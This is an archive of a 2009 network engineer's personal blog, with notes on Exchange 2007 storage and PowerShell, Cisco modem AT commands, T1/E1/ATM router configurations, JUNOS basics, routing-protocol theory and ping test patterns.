new-publicfolderdatabase -StorageGroup 'SGName' -Name 'PFName' -edbFilePath 'C:\PFName.edb'

Mounting the Public Folder

mount-database -Identity 'PFName'

Why not use more than 1 Public Folder or why not use it at all?
It's because you can't use CCR, LCR, or SCR on them. Public Folder replication already occurs. And the only way you can configure Public Folders is through PowerShell.

Public Folder Permissions
Type in the following command

Add-publicfolderclientpermission -Identity "\Folder" -AccessRights Rights

Individual Access Rights

Readitems
Createitems
Editowneditems
deleteOwneditems
editallitems
createsubfolders
folderowner
foldercontact
foldervisible

Public Folder Access Rights Roles

None
Owner
PublishingEditor
Editor
PublishingAuthor
Author
Non-EditingAuthor
Reviewier
Contributor

How to give Access Rights to an account to all Folders?

Get-PublicFolder -recurse | Add-PublicFolderAdministrativePermission -User UserName-AccessRights AllExtendedRights
Add a -whatIf if you're still not commiting it.

Adding Replicas for Public Folders

Set-publicfolder -Identity "\Folder" -Replicas "Server\Public Folder"

Exchange 2007 Part 5: Storage: Powershell

2009-06-19T14:47:00.000-07:00

new-storagegroup "SGName" -server

If you type in

new-storagegroup "SGName"

It'll ask you for the server name.

What you need to do these tasks?

Exchange Server Admin group rights

What are other things you need to do?

Configuring quotas - limits and retention times
Circular logging - only if you want to save space
Mounting and Dismounting Databases

You can also use Set-mailboxdatabase command in Powershell to do the items above.

Hmm? New | Set -mailboxdatase | -storagegroup

Exchange 2007 Part 4: Storage Management

2009-06-18T14:58:00.000-07:00

You might basically have the following setup

System drive
Data drive

How to make things better?

System Drive @ RAID0
Log Storage drive @ RAID1
Database Storage drive @RAID5

You might have DAS for your storage solution. You can also make use of SAN-Fibre Channel or SAN-iSCSI. No NAS for Exchange Server 2007.

The Multitech Modem. Not!

2009-06-18T10:31:00.000-07:00

Problem: You connected to the Multitech* modem but it just doesn't accept some of the commands. They did say it was a Multitech.

pdcc01-webtools1:~> modem 1-212-527-9755
Calling '1-212-527-9755'
--------------------------------------------------------------------------------
You are connected to the MSO Cisco modem pool bank. When finished
make sure the call session is closed, via '+++', then 'ATH' at
the 'OK' prompt to hang up the call. Disconnect with a common
telnet break 'CTRL-]' then enter close at the telnet prompt.
--------------------------------------------------------------------------------
AT
OK
ATDT12125279755
CONNECT 9600 /V.42
AT
OK
AT&D0MTSMODEM
OK
AT&K0
ERROR <- - - Ouch!
AT&K0
ERROR <- - - Shoot!
AT$SB9600
ERROR <- - - Arrgghhhh!

TRY THIS SECTION
Input AT%R1&W0. If inputting that command does something like the output below then it isn't really a Multitech.

ATDT12125279755
CONNECT 9600 /V.42
AT
AT&D0MTSMODEM
OK
AT&K0
ERROR
AT&K0
ERROR
AT$SB9600
ERROR
AT%R1&W0 <- - - TRY ME!!!

Cisco MICA Hex Modem Module Configuration

CONFIGURATION SUMMARY

REG = HEX/DEC REG = HEX/DEC REG = HEX/DEC REG = HEX/DEC
S00 = 0002/2 S02 = 002B/43 S03 = 000D/13 S04 = 000A/10
S05 = 0008/8 S06 = 0002/2 S07 = 0078/120 S08 = 0002/2
S09 = 010D/269 S10 = 000E/14 S11 = 0001/1 S12 = 0008/8
S13 = 0000/0 S14 = 0001/1 S15 = 0001/1 S16 = 00FE/254
S17 = 00FE/254 S18 = 000D/13 S19 = 000C/12 S20 = 0100/256
S21 = 0000/0 S22 = 0000/0 S23 = 0001/1 S24 = 0001/1
S25 = 0000/0 S26 = 0000/0 S27 = 0000/0 S28 = 0000/0

…Output concatenated…
Strike a key when ready (Q to QUIT)

Reg Value Description
--- ----- -----------
S0 [ 2] Automatic Answer
S2 [ 43] Escape Code Character
S3 [ 13] Carriage Return Character
S4 [ 10] Line Feed Character
S5 [ 8] Backspace Character
S6 [ 2] Pause Before Blind Dialing (seconds)
S7 [ 120] Max Time for Call Progress (1 sec, orig)
S8 [ 2] Comma Dial Modifier Time (seconds)
Strike a key when ready (Q to QUIT)
…Output concatenated…

This only means we're working with a Cisco MICA modem. We're in deep shit to some respect (I know I was). And this was the second time I worked with this modem; and ESP listed a Multitech. The last time was last year!

What AT%R1&W0 actually does is to run the configuration summary command. The real command on the Cisco MICA Modem is

ATDT12125279755
CONNECT 9600 /V.42
AT
OK
AT%R<- - - Just this.

Cisco MICA Hex Modem Module Configuration

CONFIGURATION SUMMARY

REG = HEX/DEC REG = HEX/DEC REG = HEX/DEC REG = HEX/DEC
S00 = 0002/2 S02 = 002B/43 S03 = 000D/13 S04 = 000A/10

…Output concatenated…
Strike a key when ready (Q to QUIT)

END OF TRY THIS SECTION

Cisco MICA stands for modem ISDN channel aggregation, whatever that is.

AT
OK
ATDT12125279755
CONNECT 9600 /V.42
AT
OK
ATI3
ATE0
AT&D0
AT\Q0
ATQ1
ATS30 9600 <- - - TRY ME!!! Because I’m not actually sure if this would work.
ATS31 9600 <- - - TRY ME!!! I haven't tried the S30 and S31 registers because they replaced the modem after I reconnected.

I3 - Displays the country code, modulation standards, and revision levels
E0 - Turns command echo off
D0 - Ignore DTR (&D0)
\Q0 - Disables flow control.
Q1 - Turns result codes off
S30 9600 - Maximum Connect Rate (RX rate if >=V.34; TX and RX for others) (75 to 33600 bps, >=Min)
S31 9600 - Minimum Connect Rate (RX rate if >=V.34; TX and RX for others) (75 to 33600 bps, <=Max)

I only hope the S registers work but the default is 9600. Disconnect then connect again I think hoping everything will be all right. ^___^
PS: Because there are some days that you just aren't really working on a Multitech modem... hehehe*

Exchange 2007 Part 3: Storage Architecture and Flow

2009-06-18T10:28:00.000-07:00

Before emails are stored in the database, it gets stored first temporarily in two places simultaneously

Storage Logs
System Memory

Messages get written into System memory since it's faster that way. They also get written into Transaction logs that are 1MB in size max and another Transaction log gets created after the first one reaches it's max size.

We write to memory and the logs because we may have a busy database.

The current log file is like E00.log. After it gets filled up, it gets renamed to E0000000001.log or something like that.

Another part of the storage architecture are the Check point files and reserved log files.

The Check point file, .chk, takes notes of which transactions have moved from the Transaction logs to the Database. This is used for roll-back purposes.

The second type of log file is the Reserved log. The reserved log files, res00001.jrs and res00002.jrs, are used for emergency purposes like when the disk runs out of space. There are 2 reserved logs, each are 1MB in size.

The temp.edb is temporary work space for processing transaction before writing to your database.

Your mailbox database file may grow to a really big size. And that's one of the reasons why they're split into many databases to accommodate your users.

As far as we know right now, we do have Mailbox databases in a Storage group. Physically, the Storage group is found under

C:\Program Files\Microsoft\Exchange Server\Mailbox\

Exchange 2007 Part 2: Storage Groups and Databases

2009-06-18T10:18:00.000-07:00

In Exchange 5.5, we had the following structure for the databases

Priv.edb
Pub.edb
Dir.edb

We no longer have a need for Dir.edb in Exchange 2007 due to Active Directory. Another thing you'd notice is that we only have 1 database for all the emails.

In Exchange Server 2007, the new storage group structure solves the problem of that 1 big Information store. You can have multiple repositories and each one with a different policy in place. For Enterprise version, you can have

50 storage groups
5 databases per storage group
Max of 50 databases all in all

For Standard edition of Exchange Server 2007

5 Storage group
5 databases per storage group
Max of 5 databases all in all

Exchange 2007 Part 1: Installation

2009-06-18T07:42:00.000-07:00

Hardware reqs

x64
1.2GB HD space for Exchange binaries
minimum 1GB RAM additional RAM
NTFS file system

Permissions during the Install Process

Schema Admins group member for the person installing Exchange 2007
Everything else is Enterprise Admins group member

Active Directory Preparation

Schema master on Windows 2003 SP1
At least 1 GC per site
Setup installs on a domain with clean environment
Use setup switches
/Preparelegacyexchangepermisions; if you have Exchange 2003 and Windows 2003
/preparesschema
/Preparedomain "Name" if just 1 domain
/PrepareAllDomains
/PrepareAD does all of the above

Exchange Server 2007 Software Perparation

Windows Sevrer 2003 with SP1, 64-bit
MMC 3.0
.Net Framework 2.0
Powershell 1.0+Hotfix

Others Considerations

Raise Domain Functional Level
Mailbox Role with IIS if it runs other roles
No Exchange 5.5 server
Client Access Server Role with ASP.Net, install IIS first

During Exchange Server 2007 setup, you have the option to choose

Typical Exchange Server Installation, all-in-one except Edge Transport
Custom Exchanger Server Installation, per role install

You'll also be asked the Organization name.

For Client Settings, you'll be asked if you want to support computers running Outlook 2003 or Entourage.

Internal Modems on Cisco routers

2009-05-06T13:28:00.000-07:00

I was told that 90% of the time, the configuration snippet below works like a charm.

en
conf t
enable secret cisco
line 0/2/0
login
password cisco
modem inout
end
wr

Well, today was the day that other 10% proved to be true - it didn't work.

This, however, did.

conf t
enable secret cisco
line 0/2/0
password cisco
login
modem dialin
end
wr

The switch inout means that the internal modem is intended to accept and make calls. The dialin switch refers to the internal modem configured only to receive calls. And this all mostly for OOB management at work use we do. ^___^

Now, why didn't the first one work? It turns out that the inout switch has other additional switches to it that you need to add in order for it to work. But why does the 90% work? Beats me right now!

Notes: RIP Operation

2009-05-01T13:16:00.000-07:00

Based on the diagram, RIP operates at port 520 and is connectionless-oriented.

There are also 2 types of RIP messages - request and reply. RIP routers upon start up broadcast a request and if other RIP-enabled routers are present, they reply with the request.

If we have a new route information, it gets placed into the routing table.

For network entries that are already present, they get updated only if the hop count for that network advertised by a neighboring router has a lower hop count. And if the hop count information received has a higher metric than the earlier entry, the network is marked unreachable for a certain holddown period and only used after the same information is still being advertised after the holddown timers expire.

We can't afford ATM and we need more bandwidth

2009-05-01T05:41:00.000-07:00

What's a solution to that but still use ATM?

IMA - Inverse Multiplxing for/over ATM.

This is very much like MLPPP.

Here's an overview of how you do it:
Configure your T1 controllers for ATM
Configure ATM interfaces to be joined to an IMA group
Create the ATM/IMA interface

! - Just a representative controller
controller T1 0/2
mode atm aim 0
framing esf
linecode b8zs
!
controller T1 0/3
mode atm aim 0
framing esf
linecode b8zs
!

! - And another representative ATM interface
interface ATM0/2
description Circuit WoW123 goes ATM0/2 to switch ima group x
no ip address
no scrambling-payload
ima-group 0
no atm ilmi-keepalive
!
interface ATM0/3
description Circuit WoW123 goes ATM0/3 to switch ima group x
no ip address
no scrambling-payload
ima-group 0
no atm ilmi-keepalive
!

! - The IMA group!
interface ATM0/IMA0
mtu 1500
ip address 228.219.156.22 255.255.255.252
no atm ilmi-keepalive
pvc 0 0/100
vbr-nrt 3072 3072 ! - This configures the VPI/VCI
oam-pvc manage
encapsulation aal5snap
!

Notes: Distance Vector Routing Protocols

2009-04-28T04:12:00.000-07:00

A few facts about DVRP

AKA Bellman-Ford/Ford-Fulkerson algorithms
Includes the following protocols: RIP, XNS RIP, Novell RIP, Cisco IGRP, DEC DNA Phase IV, AppleTalk RTMP

Commonality between all DVRPs

Periodic updates are sent at the end of a certain time period
Adjacent routers are referred to as neighbors
Broadcasts updates of routing table is sent to all neighboring routers when routers first come online
Full routing table updates are therefore sent

What is Routing by Rumor?
Picture this, routers connected in line, from left to right named R1 to R4, with each router having 2 networks connected to it and the routers at both ends do not connect through a common subnet; the networks we have, from left to right, are 10.0.1.0, 10.0.2.0, 10.0.3.0, 10.0.4.0, and 10.0.5.0 all with a /24 subnet mask.

Rumor has it that network 10.0.5.0 went down. This was learnt by R2 from R3, which was informed by R4, since 10.0.5.0 is directly connected to it. This information is then rumored to R1 from R2. The network 10.0.5.0 is flagged unreachable by R4 and passed to the other routers starting with its neighbor, R3.

The problem here is when a router goes down. There is no one to flag that the route is unreachable and all other routers will increment their routes to that network to an infite metric.

This is routing by rumor. This causes problems in a DVRP network.

Are there ways around this problem?

Use of Route Invalidation Timers
Losing a network is one thing but losing a router is another. This leads to a bigger problem because no router will flag that network as down, since the router itself that is responsible for this is down.
In this situation, it is best to make use of a route invalidation timer. If a router does not hear of any updates of a network from its neighbor, it then invalidates the route when a certain time has elapsed and proceeds to inform its other peers/neighbors of this situation.

Split Horizon
Another mechanism to make sure that we don't propagate bad information is to not listen to it at all. If R3 notices that R4 went down, it'll tell R2 that R4 and it's associated network is down. R2, in turn notifies R1 of this information.

So, should R2 be acknowledging any information about the downed network (and router) from R1 about the same network it informed R1 about?

No.

This is how Split Horizon works. By the way, the route pointing back to the router from which it was learned is referred to as a reverse route. Split horizon prevents this.

Another variation of Split Horizon is to not propagate that route and mark the downed network as having an infinite metric. This is Split Horizon with poison reverse.

There is a flaw with the techniques discussed in preventing routing loops.

Since the routers are connected in-line, all techniques will prevent loops. But not if all routers a connected in a loop - say R1 and R4 are interconnected by a common subnet. A link failure will force the routers to Count to Infinity for that network as the metric. The router will then be resource starved.

A solution to this is to set what infinity will be - stop at a certain hop that defines what infinity is.

Triggered Updates
Instead of waiting for the route invalidation timers to expire, routers can instead send updates about the metric change, better or worse and to include just the update about the network that triggered the change.

Holddown Timers
The problem with Triggered updates is that it may cause you to experience a flapping route. To remedy this, we introduce a holddown time on the acceptance of a bad route.

Asynchronous Updates
Hmm, I once wondered why the routing updates were never exactly in the 30 sec mark for RIP. It seems this is a feature - asynchronous updates minimizes the chance of routers creating a collision in the network when they broadcast their updates.

This timing jitter is around 15% of the broadcast updates and is randomized.

Wonder Woman - Animated movie

2009-04-25T04:17:00.000-07:00

Hmm, it's hard to find it in the Internet. But I have to say it's a darn, pretty good animated movie to watch. American cartoons are starting to catch on to the realism of Anime (maybe).

http://74.125.47.132/search?q=cache:qqzb0y0KRssJ:movie25.com/wonder-woman-2009_4161.html+wonder+woman+movie+cartoon+2009&cd=6&hl=en&ct=clnk&gl=us&client=firefox-a

My card is unknown!!!

2009-04-24T04:16:00.000-07:00

Ever faced with the problem where your WIC card is unknown to IOS? Something like below:

Slot 1: <--------- NM-4T Serial
Unknown (type 84) Port adapter
Port adapter is disabled
Port adapter insertion time unknown
EEPROM contents at hardware discovery:
Hardware revision 1.1 Board revision D0
Serial number 12891400 Part number 800-02314-02
FRU Part Number NM-4T=
Test history 0x0 RMA number 00-00-00
EEPROM format version 1
EEPROM contents (hex):
0x00: 01 54 01 01 00 C4 B5 08 50 09 0A 02 00 00 00 00
0x10: 68 00 00 00 99 03 27 00 00 05 FF FF FF FF FF FF
0x20: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
0x30: FF FF FF FF FF FF FF FF FF FF FF FF

If that's the case here are a few possible reasons why it's happening:

Card isn't supported by IOS, get an upgrade
Card not seated properly
Card has problems

How do you resolve that?

Buy a supported card
Check if the IOS version supports the card you have
Re-seat the card
Or buy a new card and get grumpy with your SE

The DS3 circuit has incrementing errors

2009-04-24T04:08:00.000-07:00

If your DS3 circuit is showing errors (an NM-1T3/E3 card) despite your perfect configuration, ask the telco engineers handling Layer 3 issues if there is a Fuji Flaswave network device in the network.

If that's the case, add scrambling to your DS3 card's config.

2-port E1 WIC with Voice and Data ports incrementing slips, errored secs, and what not?

2009-04-24T03:58:00.000-07:00

You might encounter a scenario where the 2-port E1 WIC on the router you’re configuring is using both ports for data and voice.

What you’d normally do is configure the controller, set the clocking, and do with the rest of the config only to find that there are incrementing slips, errored secs, and whatever happening to the interface.

Fix for the issue is to tell the voice-capable router that the port used for data will be making use of a different clock source other than the backplane, which should be the case for data.

Router with clocking configured for data and voice

! Add this command in

customer-site-ordernumber(config)#network-clock-select 1 E1 0/1/1

customer-site-ordernumber#sh network-clocks

Network Clock Configuration

---------------------------

Priority Clock Source Clock State Clock Type

1 E1 0/1/1 GOOD E1

10 Backplane GOOD PLL

Current Primary Clock Source

---------------------------

Priority Clock Source Clock State Clock Type

1 E1 0/1/1 GOOD E1

Router following clocking from backplane only

customer-site-ordernumber#sh network-clocks

Network Clock Configuration

---------------------------

Priority Clock Source Clock State Clock Type

10 Backplane GOOD PLL

Current Primary Clock Source

---------------------------

Priority Clock Source Clock State Clock Type

10 Backplane GOOD PLL

Hope this helps in a way!

T1 card with incrementing errors

2009-04-24T03:46:00.000-07:00

If you are working with the new VWIC2-2MFT-T1/E1 - 2-Port RJ-48 Multiflex Trunk Card and are incrementing errors on the 2nd T1 Port try the following:

NOTE: You need to remove the channel-group statement 1st before the router will accept the new clock source statement.
!
controller T1 0/0/0
framing esf
clock source line independent
linecode b8zs
cablelength long 0db
channel-group 0 timeslots 1-24
!
controller T1 0/0/1
framing esf
clock source line independent
linecode b8zs
cablelength long 0db
channel-group 0 timeslots 1-24

These new Second Generation cards allow independent clocking for data. If we configure the T1 controllers as we would normally do, without the word “independent”, the 2nd port in the card will use the T1 clocking from the T1 cabled in the 1st port. If these clocks are not in sync, you will increment errors. By adding “clock source line independent” it forces the card to use the T1 clocking from each T1.

You can find more detailed info from Cisco here: http://www.cisco.com/en/US/products/hw/modules/ps2617/products_configuration_example09186a008052c920.shtml

JUNOS Extended Ping test result problems

2009-04-24T03:38:00.000-07:00

When pinging a destination through JUNOS cli with repeat count set to 1000, it will perform the ping till it reaches the 1000th ping result – UNIX behaviour.

Using pattern: ping inet 152.161.160.189 source 152.161.160.190 pattern 0000 size 1500 count 1000

root@telsys-tampa-1408125> ...0.190 pattern 0000 size 1500 count 1000
PATTERN: 0x0000
PING 152.161.160.189 (152.161.160.189): 1500 data bytes
1508 bytes from 152.161.160.189: icmp_seq=0 ttl=255 time=5.365 ms
1508 bytes from 152.161.160.189: icmp_seq=1 ttl=255 time=5.247 ms
1508 bytes from 152.161.160.189: icmp_seq=2 ttl=255 time=4.998 ms
1508 bytes from 152.161.160.189: icmp_seq=3 ttl=255 time=5.242 ms
1508 bytes from 152.161.160.189: icmp_seq=4 ttl=255 time=6.270 ms
1508 bytes from 152.161.160.189: icmp_seq=5 ttl=255 time=6.031 ms
1508 bytes from 152.161.160.189: icmp_seq=6 ttl=255 time=5.251 ms
Etc…
--- 152.161.160.189 ping statistics ---
1000 packets transmitted, 1000 packets received, 0% packet loss round-trip min/avg/max/stddev = 4.618/5.606/8.284/0.752 ms

To avoid this, add the “rapid” switch to the extended ping snippet.

ping inet 152.161.160.189 source 152.161.160.190 pattern 0000 size 1500 count 1000 rapid
root@telsys-tampa-1408125> ...90 pattern 0000 size 1500 count 1000 rapid
PATTERN: 0x0000
PING 152.161.160.189 (152.161.160.189): 1500 data bytes
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
--- 152.161.160.189 ping statistics ---
1000 packets transmitted, 1000 packets received, 0% packet loss round-trip min/avg/max/stddev = 4.309/5.450/9.099/0.793 ms

To those wanting a tcl version of the extended ping, I have no ideas right now. =)

I’ll research and share the info later.

Adtran router with Metro Ethernet Circuit

2009-04-24T03:34:00.000-07:00

Here's a sample config for an Adtran router with a Metro Ethernet circuit for WAN connectivity:

!
interface eth 0/1
encapsulation 802.1q
no shutdown
!
interface eth 0/1.987
description MPLS Ethernet Access Circuit
vlan-id 100
no shutdown
ip address 149.225.121.194 255.255.255.252
!

WIC-1B-S/T-V3 - Frame-Relay Configuration

2009-04-24T03:28:00.001-07:00

If you encountered a problem configuring FRAME-RELAY circuit and with this kind of WIC CARD

WIC/HWIC Slot 0:
BRI S/T - 3086 WAN daughter card
Hardware Revision : 1.0
Top Assy. Part Number : 800-24973-01
Board Revision : C0
Deviation Number : 0
Fab Version : 01
PCB Serial Number : FOC121903SR
RMA Test History : 00
RMA Number : 0-0-0-0
RMA History : 00
Product (FRU) Number : WIC-1B-S/T-V3
Version Identifier : V01

This is the example how to configure it:

isdn switch-type ntt
isdn leased-line BRI0/0/0 128

interface BRI0/0/0
no ip address
encapsulation frame-relay
frame-relay lmi-type cisco
!
interface BRI0/0/0.100 point-to-point
ip address 199.220.58.94 255.255.255.252 (WAN CE IP ADDRESS)
frame-relay interface-dlci 100 IETF
!

Extended Ping Test Pattern - Poor man's Thunderbird

2009-04-23T12:14:00.000-07:00

Ever wondered what those ping test patterns were and what they were meant for?

tclsh
!
foreach data {0000 1000 8080 ffff 5555} {ping 197.225.6.197 source 197.225.6.198 data $data size 500 repeat 1000 df}

Below is a list of the extended ping tests we run and the corrosponding telco test:

0x0000 - all zeroes
0xFFFF - all ones
0x5555 - alternating zeros and ones
0x8080 - one with seven zeros (1 n 7)
0x1000 - one with 15 zeros
----------------------------------------------------------------------------
13.1 All Zeros
----------------------------------------------------------------------------
00000000 00000000

This pattern is composed of only zeros and must be encoded with either B8ZS or ZBTSI zero suppression techniques before transmission into the network. The pattern is effective in finding equipment misoptioned for AMI. This is the same as the 0x0000 Cisco extended ping test (with out header and footer data).
----------------------------------------------------------------------------
13.2 All Ones
----------------------------------------------------------------------------
11111111 11111111

This pattern is composed of only ones. This pattern causes the repeater to consume the maximum amount of power. If the DC baseline current is properly regulated, then the repeater will have no trouble transmitting long ones sequences. In some networks, an unframed pattern of all ones is an Alarm Indicating Signal (AIS) (blue alarm or an all ones condition).

This is the same as the 0xFFFF Cisco extended ping test (with out header and footer data).
----------------------------------------------------------------------------
13.3 Zero One
----------------------------------------------------------------------------
01010101 01010101

The Alternating zeros and ones pattern is used to test the regeneration circuitry of the repeaters on the circuit. If the repeaters are in spec and properly calibrated then they will be able to quickly alternate from +3 volts to the baseline, to -3 volts, to the baseline, and so on.
----------------------------------------------------------------------------
13.4 One One Zero Zero
----------------------------------------------------------------------------

This is a proprietary pattern used only by Cascade switches. It is not particularly stressful on any portion of the circuit.
----------------------------------------------------------------------------
13.5 Quasi Random
----------------------------------------------------------------------------

Pseudo-random sequence based on a 20-bit shifting register. Generates every combination of 20-bit words, repeats every 1,048,575 bits, and suppresses consecutive zeros to no more than 14. Contains high density sequences, low density sequences, and sequences that change from low density to high density and vice versa. This pattern is prefered by voice techs since it most closely matches voice conversations on a digital circuit. In the past, when voice dominated services provided by the telephone company, this was fine. However, data streams stress the circuit beyond traditional voice conversatations, thus additional, and more stressful patterns must be run to complete a proper test.
----------------------------------------------------------------------------
13.6 3 in 24
----------------------------------------------------------------------------
0100100 00000000 00000100

Pattern contains the longest string of consecutive zeros (15), with the lowest ones density (12.5%). A framed 3 in 24 pattern could generate a yellow alarm on circuits using D4 framing. This is dependant on the alignment of ones bits to the frame.
----------------------------------------------------------------------------
13.7 1 in 7
----------------------------------------------------------------------------
01000000 01000000 01000000

Only a single one in an 8-bit repeating sequence. This is the similar to the Cisco extended 0x8080 test (with out header and footer data) except that the one shows up in the first most significant bit on the Cisco extended test, instead of the second most significant bit on the BERT test. A closer test would be 0x4040. This would be exactly the same except for the header and footer information introduced by TCP/IP and frame relay encoding.

The framed version of this pattern may cause a D4 yellow alarm for framed circuits depending on alignment of one bits to frames. One bits are strategically aligned with frame bits to avoid D4 yellow alarm.
----------------------------------------------------------------------------
13.8 2 in 8
----------------------------------------------------------------------------
01000010 01000010 01000010

Pattern contains a maximum of 4 consecutive zeros. This is the same as the 0x4242 Cisco extended ping test (with out header and footer data). The framed version of 2 in 8 will not invoke B8ZS sequence because eight consecutive zeros are required to cause B8ZS substitution. May cause D4 yellow alarm for framed circuits depending on alignment of the one bits to frame. One bits are strategically aligned with frame bits to avoid D4 yellow alarm. Pattern is effective in finding equipment misoptioned for B8ZS.
----------------------------------------------------------------------------
13.9 55 Octet
----------------------------------------------------------------------------
Pattern contains rapid sequence changes from low density to high density. Pattern can only be used unframed to comply with ones density specifications.

BGP not establishing, Peer router reachable

2009-04-23T11:57:00.000-07:00

BGP is not establishing, both circuits on the router are in Up/Up state, and the PE routers are reachable via ping.

What's up with this?

I had a Field Engineer call me for a new install turn up. Everything was going well, the extended ping test was looking good until I ran a sh ip bgp sum command.

It made me frown.

cust-sitename-ordernumber#sh ip bgp sum
BGP router identifier 197.225.15.226, local AS number 65099
BGP table version is 1, main routing table version 1

Neighbor V AS MsgRcvd MsgSent TblVer InQ OutQ Up/Down State/PfxRcd
197.225.6.197 4 65000 24 58 0 0 0 never Active
197.225.15.225 4 65000 29 59 0 0 0 never OpenConfirm
Note: Actual IP addresses and BGP AS changed.

In the turn up, I've got 1 router with two circuits attached to it - one on Serial 0/0/0 and the other on Serial 0/1/0. I've also verified with the Field tech if we had the circuits connected to the router in order. He said it was.

What drove me a bit crazy is BGP going in circles from Active to OpenConfirm. To add to the confusion, I was able to ping the PE router using both IPs.

I called our Layer 3 group for support and then he told me that it might be a configuration issue. Funny though. Both circuits were up.

cust-sitename-ordernumber#sh ip int br
Interface IP-Address OK? Method Status Protocol
FastEthernet0/0 unassigned YES NVRAM administratively down down

FastEthernet0/1 unassigned YES NVRAM administratively down down

Serial0/0/0 197.225.15.226 YES manual up up

Serial0/1/0 197.225.6.198 YES NVRAM up up
Note: Actual IP addresses and BGP AS changed.

After 10 minutes in the call, Layer 3 high-tailed out of the bridge and the field tech told me he had to leave and told me, "Good luck with the problem".

As the Project Manager was about to involve the Design Engineer I switched over the configs on the serial interfaces and then BGP got established.

Amazing!

Today at work

2009-04-22T06:36:00.000-07:00

Having had my fill at Facebook, Chips Ahoy!, and coffee with muscovado sugar, I'm faced with going into our cold room in the office with a couple of trainers roaming around looking a what we're doing.

And I don't know what training they're meaning to do after they finish their marathon. Well, they could at least offer us pizza here.

I also have a deadline to meet to finish studying 2 topics in our internal e-learning web site.

The JUNOS software Naming Convention

2009-04-22T05:57:00.000-07:00

During my days studying Cisco - self-study, CNAP, and in New Horizon's training room - the the lectures never fails to mention the Cisco IOS filename convention.

Well, it's important. Says so much about what it is and what it can do.

In Juniper, we have that as well.

Naming convention of package-major_versione>released_version-type

user@ISR> file list jbundle*
/var/home/user/jbundle-5.2R1.4-domestic-signed.tgz
/var/home/user/jbundle-5.2R2.3-domestic-signed.tgz
/var/home/user/jbundle-5.3R2.4-domestic-signed.tgz

package This represents the specific portion of the JUNOS software contained in the file. Examples include jbundle, jroute, and jpfe.

major_version This represents the major version of the JUNOS software located in the file. This is always shown in a two-integer format, as in 5.2 or 5.3.

stage This single capital letter represents the type of software in the file. Possible values include:

R Publicly released software (most common)

A Alpha version of the software

B Beta version of the software

I Internal or test version of the software

released_version Each major_version of the software may contain multiple releases. This field represents the specific release number contained in this file.

type Each jbundle package contains an additional field that represents whether the jcrypto package is contained. jcrypto is included in files marked with domestic and is omitted in files marked as export.

JUNOS: Getting help

2009-04-22T05:43:00.000-07:00

You can basically use the commands help and throw in a topic or a reference you need to know about and you'll get that in the output.

Also, the familiar "?" works. No need for me to explain much here. See below.

user@host> help topic

user@host> help reference

user@host> show i?
Possible completions:
igmp Show information about IGMP
ike Show IKE information
ilmi Show ILMI information
interfaces Show interface information
ipsec Show IPSec information
ipv6 Show information about IPv6
isis Show information about IS-IS

What is JUNOS?

2009-04-22T05:23:00.000-07:00

What about JUNOS?

It's based on FreeeBSD UX OS and inherits some UX traits when dealing with configuring and managing the router. You can say that it's been tweaked and hardended by Juniper, that the kernel is now a routing kernel.

Each daemon runs on own memory space:

Routing Protocol Daemon (rpd) functionality includes all protocol messages, routing table updates, and implementation of routing policies
Device Control Daemon(dcd) this process controls both the physical and logical properties of the interfaces
Management Daemon (mgd) user's CLI is a client of mgd
Chassis Daemon (chassisd) controls the properties of the router itself, including the interaction of the passive midplane, the FPCs, and the control boards
Packet Forwarding Engine Daemon (pfed) controls the communication between the Packet Forwarding Engine and the Routing Engine

Software Components:

jkernel contains the basic components of JUNOS
jbase contains additions to the JUNOS
jroute contains the software that operates on the Routing Engine; controls the Unicast routing protocols, the multicast routing protocols, and the Multiprotocol Label Switching (MPLS) signaling protocols
jpfe contains the Embedded OS software that controls the components of the Packet Forwarding Engine
jdocs contains the complete JUNOS software documentation set
jcrypto contains software that controls various security functions, such as IP Security (IPSec) and Secure Shell (SSH); available only in U.S. and Canadian versions of the software
jbundle is a single file that contains all of the other packages we discussed previously

So, why JUNOS? It's kewl. And someone wants to copy it's features because it's uber kewl!

Route Aggregation - CIDR

2008-07-06T03:49:00.000-07:00

What is CIDR?

Basically, CIDR, as Cisco describes it, is an IP addressing technique supported by BGP4 and based on route aggregation. CIDR allows routers to group routes together to minimize the quantity of routing information carried by the core routers. 1

